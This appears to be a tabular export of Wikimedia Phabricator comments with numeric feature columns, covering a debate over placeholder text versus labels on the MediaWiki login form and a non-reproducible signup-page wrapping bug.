[[ https://patchdemo.wmflabs.org/wikis/d40ca84da9/w ]]",,,1692155106,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,520,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,2.6875,0.6875,"Test wiki **created** on [[ URL | Patch demo ]] by Krinkle using patch(es) linked to this task:
[[ URL ]]"
2175919,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Change 933621 had a related patch set uploaded (by Krinkle; author: Jdlrobson):
%%%[mediawiki/core@master] resources/src/mediawiki.special.userlogin.common.styles/userlogin.less: Show input labels on mobile devices%%%
https://gerrit.wikimedia.org/r/933621",,,1692154789,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,520,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,5.121951219512195,0.8292682926829268,"Change 933621 had a related patch set uploaded (by Krinkle; author: Jdlrobson):
%%%[mediawiki/core@master] resources/src/mediawiki.special.userlogin.common.styles/userlogin.less: Show input labels on mobile devices%%%
GERRIT_URL"
1226992,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"@Puneethchanda: I am resetting the assignee of this task because there has not been progress lately (please correct me if I am wrong!). 
Resetting the assignee avoids the impression that somebody is already working on this task. It also allows others to potentially work towards fixing this task. 
Please claim this task again when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu) - it would be welcome! Thanks for your understanding!",,,1550389608,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,True,,,285,True,0.0,1.0,0.0,0.0,1.0,3.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,1.0,7.0,12.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,3.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,4.0,5.0,11.0,4.0,0.0,8.0,0.0,0.0,3.0,0.0,6.0,2.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,1.0,3.9797979797979797,0.7676767676767676,"SCREEN_NAME: I am resetting the assignee of this task because there has not been progress lately (please correct me if I am wrong!). 
Resetting the assignee avoids the impression that somebody is already working on this task. It also allows others to potentially work towards fixing this task. 
Please claim this task again when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu) - it would be welcome! Thanks for your understanding!"
1196652,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"@Puneethchanda: Hi! As you claimed this task, how is it going? [Do you need any help](https://www.mediawiki.org/wiki/How_to_become_a_MediaWiki_hacker#Feedback,_questions_and_support)?",,,1544831110,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,True,,,276,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,5.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,3.380952380952381,0.9523809523809523,"SCREEN_NAME: Hi! As you claimed this task, how is it going? [Do you need any help](URL"
234154,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"(In reply to comment #5)
> Would someone care to explain why ""redundant"" is inherently a bad thing.

I'm not sure anyone suggested it was inherently bad, but it seems unnecessary here.

Do other sites use both an input label and placeholder text for their login form?",,,1381616098,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,True,,,6,True,0.0,2.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,9.0,7.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7111111111111112,0.9555555555555556,"(In reply to comment #5)
QUOTE

I'm not sure anyone suggested it was inherently bad, but it seems unnecessary here.

Do other sites use both an input label and placeholder text for their login form?"
234147,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"(In reply to comment #5)
> Would someone care to explain why ""redundant"" is inherently a bad thing.

It looks bad, it can potentially insult or worse yet, confuse users (instruction overload is a real thing), and it's more to translate.

It is also, in this case, utterly unnecessary.

> Visual redundancy like this isn't entirely uncommon or bad. Sometimes the
> repetition with slight variance can subtly make something easier to
> understand.

Common isn't necessarily a good thing or a bad thing - it's just a norm. For more complex things you might be right about different explanations helping users to understand, but a login form is far from complex.

And consider this - if someone honestly cannot figure out the login form for any reason besides a real bug, do we even want them? Picture them trying to figure out the edit or upload forms, let alone even more complex issues such as copyright, behavioural guidelines, content policy...

> The ""redundant is bad"" sentiment here looks like a common mistake of
> developers
> thinking something is bad based on some form of logic which doesn't
> necessarily
> always match up with reality.

First you say it's common to be redundant and then it's common to consider redundancy bad. I'd say to make up your mind, but I'm not sure it's all that important either way - the specific use case we're worrying about should be far more relevant than what is common in general. 

This also might explain why both things might be common - the correct approach depends on what you're doing, not on what everyone else is doing.",,,1381591531,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,6,True,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,9.666666666666666,2.0,0.0,0.0,0.3333333333333333,1.3333333333333333,2.0,0.0,0.0,0.0,1.3333333333333333,0.0,8.666666666666666,8.333333333333334,0.6666666666666666,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.3333333333333333,6.333333333333333,1.3333333333333333,2.6666666666666665,1.6666666666666667,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,12.0,0.3333333333333333,1.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,3.3333333333333335,3.6666666666666665,6.666666666666667,1.0,2.6666666666666665,6.0,0.0,0.0,0.0,0.3333333333333333,7.0,0.0,0.3333333333333333,0.0,6.333333333333333,8.333333333333334,1.6666666666666667,0.3333333333333333,0.0,0.0,6.333333333333333,0.0,1.6666666666666667,2.0,0.6666666666666666,1.6666666666666667,1.6666666666666667,0.0,0.0,3.80259491466388,0.7024991292232672,"(In reply to comment #5)
QUOTE

It looks bad, it can potentially insult or worse yet, confuse users (instruction overload is a real thing), and it's more to translate.

It is also, in this case, utterly unnecessary.

QUOTE
QUOTE
QUOTE

Common isn't necessarily a good thing or a bad thing - it's just a norm. For more complex things you might be right about different explanations helping users to understand, but a login form is far from complex.

And consider this - if someone honestly cannot figure out the login form for any reason besides a real bug, do we even want them? Picture them trying to figure out the edit or upload forms, let alone even more complex issues such as copyright, behavioural guidelines, content policy...

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

First you say it's common to be redundant and then it's common to consider redundancy bad. I'd say to make up your mind, but I'm not sure it's all that important either way - the specific use case we're worrying about should be far more relevant than what is common in general. 

This also might explain why both things might be common - the correct approach depends on what you're doing, not on what everyone else is doing."
234140,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Would someone care to explain why ""redundant"" is inherently a bad thing.

Visual redundancy like this isn't entirely uncommon or bad. Sometimes the repetition with slight variance can subtly make something easier to understand.
The ""redundant is bad"" sentiment here looks like a common mistake of developers thinking something is bad based on some form of logic which doesn't necessarily always match up with reality.",,,1381564369,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,6,True,1.0,4.0,1.0,0.0,3.0,14.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,8.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,5.0,5.0,5.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,1.0,0.0,0.0,4.6103896103896105,0.7402597402597403,"Would someone care to explain why ""redundant"" is inherently a bad thing.

Visual redundancy like this isn't entirely uncommon or bad. Sometimes the repetition with slight variance can subtly make something easier to understand.
The ""redundant is bad"" sentiment here looks like a common mistake of developers thinking something is bad based on some form of logic which doesn't necessarily always match up with reality."
234132,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Which parts of the usability studies looked at the use of placeholder text?  I cant see it on mediawiki.org 
http://www.mediawiki.org/w/index.php?search=%22enter+your+username%22&title=Special%3ASearch
What type of testing was done, and how significant was the benefit of adding placeholder texts.

I am surprised that usability studies would recommend ""Enter your username"" for type=signup??  IMO that is a bug (Bug 52974).",,,1376790211,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,1.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,23.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,5.0,11.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,11.0,0.0,4.0,3.0,0.0,5.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,1.0,3.810810810810811,0.7567567567567568,"Which parts of the usability studies looked at the use of placeholder text?  I cant see it on mediawiki.org 
URL
What type of testing was done, and how significant was the benefit of adding placeholder texts.

I am surprised that usability studies would recommend ""Enter your username"" for type=signup??  IMO that is a bug (Bug 52974)."
234123,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"For what it's worth, Twitter seems to use only placeholders: <https://twitter.com/login>.

But I agree with everything Isarra said. The browser support doesn't seem to be what we want it to be and the fix here (simply removing the placeholders) seems really cheap and easy to implement.",,,1370054245,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,1,True,,,-13,True,0.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,7.0,11.0,2.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,4.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,12.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,3.892857142857143,0.8035714285714286,"For what it's worth, Twitter seems to use only placeholders: <URL

But I agree with everything Isarra said. The browser support doesn't seem to be what we want it to be and the fix here (simply removing the placeholders) seems really cheap and easy to implement."
234116,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Given that placeholders are both unreliable and also go away when the user enters something (despite often still being relevant and/or useful), removing the labels in favour of those isn't really a good idea.

And since the placeholders are completely redundant with the labels here, I would say that yes, the placeholders should indeed be removed from the login form.",,,1370049408,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,1,False,,,-13,True,0.0,1.0,1.0,1.0,1.0,7.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,14.0,12.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,14.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,4.0,7.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.492753623188406,0.8115942028985508,"Given that placeholders are both unreliable and also go away when the user enters something (despite often still being relevant and/or useful), removing the labels in favour of those isn't really a good idea.

And since the placeholders are completely redundant with the labels here, I would say that yes, the placeholders should indeed be removed from the login form."
234108,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"**swalling** wrote:

(In reply to comment #0)
> The placeholder text at <https://en.wikipedia.org/wiki/Special:UserLogin>
> should be removed.
> 
> ""Enter your username"" and ""Enter your password"" is unnecessary and possibly
> insulting to the user (it can be read as condescending). 

The usability tests we've run to date (http://www.mediawiki.org/wiki/Account_creation_user_experience/User_testing) don't support this assumption. I agree we could make this language friendlier (e.g. Choose a username or something else less commanding), but so far the people actually needing to use this interface seem to read and appreciate the placeholder text more than the labels. 

> Looking at other
> sites, it seems the practice of using both a placeholder and a label is
> uncommon for fields of this nature.

Yes, ideally we should just pick one. 

Placeholder text is so far our preferred choice based on usability tests and consultation with the design team. It would free up a lot of vertical space in the forms, among other benefits. 

The only thing holding us back from removing the labels entirely is cross-browser support, which frankly really sucks in most older browsers. (See examples like bug 48918).",,,1370028467,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.5,0.5,0.0,0.5,6.0,0.5,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,3.0,0.0,8.5,8.0,0.5,1.5,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.5,0.5,3.5,1.0,0.5,2.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.5,0.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,1.0,9.5,0.0,2.0,7.5,0.0,0.0,0.0,0.5,5.0,0.5,1.5,0.0,4.0,8.0,3.0,0.0,0.0,0.0,4.0,0.0,0.5,1.0,0.5,1.5,2.0,0.5,0.0,3.9493861024033436,0.7717476489028213,"**swalling** wrote:

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The usability tests we've run to date (URL don't support this assumption. I agree we could make this language friendlier (e.g. Choose a username or something else less commanding), but so far the people actually needing to use this interface seem to read and appreciate the placeholder text more than the labels. 

QUOTE
QUOTE
QUOTE

Yes, ideally we should just pick one. 

Placeholder text is so far our preferred choice based on usability tests and consultation with the design team. It would free up a lot of vertical space in the forms, among other benefits. 

The only thing holding us back from removing the labels entirely is cross-browser support, which frankly really sucks in most older browsers. (See examples like bug 48918)."
50887,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"Signup on TWN

See screenshot.

--------------------------
**Version**: 1.22.0
**Severity**: trivial
**URL**: http://dev.translatewiki.net/w/i.php?title=Special:UserLogin&type=signup

**Attached**: {F10844}",Low,25.0,1369737060,1644062641.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_description,invalid,True,c2,1,True,False,False,-14,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0232558139534884,0.46511627906976744,"Signup on TWN

See screenshot.

--------------------------
**Version**: 1.22.0
**Severity**: trivial
**URL**: URL

**Attached**: {F10844}"
1858839,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"https://translatewiki.net/wiki/Special:CreateAccount does not exist anymore (only available for admins); cannot reproduce on Vector.
I fail to reproduce on https://www.mediawiki.org/w/index.php?title=Special:CreateAccount
Assuming this isn't an issue anymore but please reopen (and mention the skin) if you can still reproduce somewhere.",,,1644062641,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,3,True,,,440,True,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,16.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,10.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8979591836734695,0.7755102040816326,"URL does not exist anymore (only available for admins); cannot reproduce on Vector.
I fail to reproduce on URL
Assuming this isn't an issue anymore but please reopen (and mention the skin) if you can still reproduce somewhere."
225748,[New UserLogin] Bad wrapping of signup stats on non-wide screens,Cannot reproduce either with Firefox 18 and Firefox 21 on Fedora on http://dev.translatewiki.net/w/i.php?title=Special:UserLogin&type=signup for 1024x768 and not being logged in.,,,1369819152,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,23.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.8181818181818182,Cannot reproduce either with Firefox 18 and Firefox 21 on Fedora on URL for 1024x768 and not being logged in.
225744,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"Created attachment 12410
Signup on TWN production

Production has 5d5a8ac rather than a1c444f but is the same for me on Vector, while monobook is ok. 
https://translatewiki.net/w/i.php?title=Special:UserLogin&type=signup&useNew=1&useskin=vector

**Attached**: {F10847}",,,1369778120,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,True,,,-14,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,20.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,12.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.7560975609756095,0.8292682926829268,"Created attachment 12410
Signup on TWN production

Production has 5d5a8ac rather than a1c444f but is the same for me on Vector, while monobook is ok. 
URL

**Attached**: {F10847}"
225741,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:

(In reply to comment #3)
> I still can't replicate this on Ubuntu with FF 17 or in a Linux VM with FF
> 21.
> Bizarre.

To clarify: I tested this on enwiki and translatewiki.net. I think the issue might be something specific to dev.translatewiki.net",,,1369777267,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,11.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8863636363636362,0.75,"**swalling** wrote:

(In reply to comment #3)
QUOTE
QUOTE
QUOTE

To clarify: I tested this on enwiki and translatewiki.net. I think the issue might be something specific to dev.translatewiki.net"
225737,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:

FF 17 on Ubuntu

**Attached**: {F10846}",,,1369777106,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5909090909090909,"**swalling** wrote:

FF 17 on Ubuntu

**Attached**: {F10846}"
225735,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:

FF 21 in a VM

**Attached**: {F10845}",,,1369777088,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.260869565217391,0.6086956521739131,"**swalling** wrote:

FF 21 in a VM

**Attached**: {F10845}"
225732,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:

I still can't replicate this on Ubuntu with FF 17 or in a Linux VM with FF 21. Bizarre.",,,1369777066,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,13.0,23.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.966666666666667,0.8,"**swalling** wrote:

I still can't replicate this on Ubuntu with FF 17 or in a Linux VM with FF 21. Bizarre."
225730,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"Firefox 21.0 on Linux, 1024x768px. 
